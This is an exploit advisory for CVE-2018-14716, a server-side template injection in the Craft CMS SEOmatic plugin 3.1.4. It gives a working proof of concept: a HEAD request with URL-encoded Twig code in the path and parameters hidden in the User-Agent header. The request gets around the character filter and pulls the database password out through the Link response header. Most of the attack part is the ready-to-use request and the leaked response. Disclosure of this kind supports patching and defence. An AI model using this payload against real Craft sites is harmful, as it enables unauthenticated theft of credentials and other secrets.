Craft CMS SEOmatic plugin 3.1.4 – Server-Side Template Injection
# Exploit Title: Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection # Date: 2018-07-20 # Software Link: https://github.com/nystudio107/craft-seomatic # Exploit Author: Sebastian Kriesten (0xB455) # Contact: https://twitter.com/0xB455 # CVE: CVE-2018-14716 # Category: webapps # 1. Description # An unauthenticated user can trigger the Twig template engine by injecting # code into the URI as described in this article: # http://ha.cker.info/exploitation-of-server-side-template-injection-with-craft-cms-plguin-seomatic/ # This can be leveraged to perform arbitrary calls against the template engine and the CMS. # The output will be reflected within the Link header of the response. # 2. Proof of Concept # The injection can be performed against any part of the URL path. However as the framework is replacing # control characters with HTML entities (e.g. ' ==> ') it is not possible to directly address methods with # parameter values. Therefor it is required to bypass the filter by invoking functions such as craft.request.getUserAgent() # and store the parameter values in the User-Agent header. In combination with Twig's slice() filter it is then possible # to extract sensitive information by utilizing the craft.config.get() method: # Request: HEAD /db-password:%20%7b%25%20set%20dummy%20=%20craft.request.getUserAgent()|slice(0,8)%25%7d%7b%25%20set%20dummy2%20=%20craft.request.getUserAgent()|slice(9,2)%25%7d%7b%7bcraft.config.get(dummy,dummy2)%7d%7d HTTP/1.1 Host: craft-installation User-Agent: password db # Response: HTTP/1.1 404 Not Found Server: nginx … Link: <db-password: SECRET>; rel='canonical' … |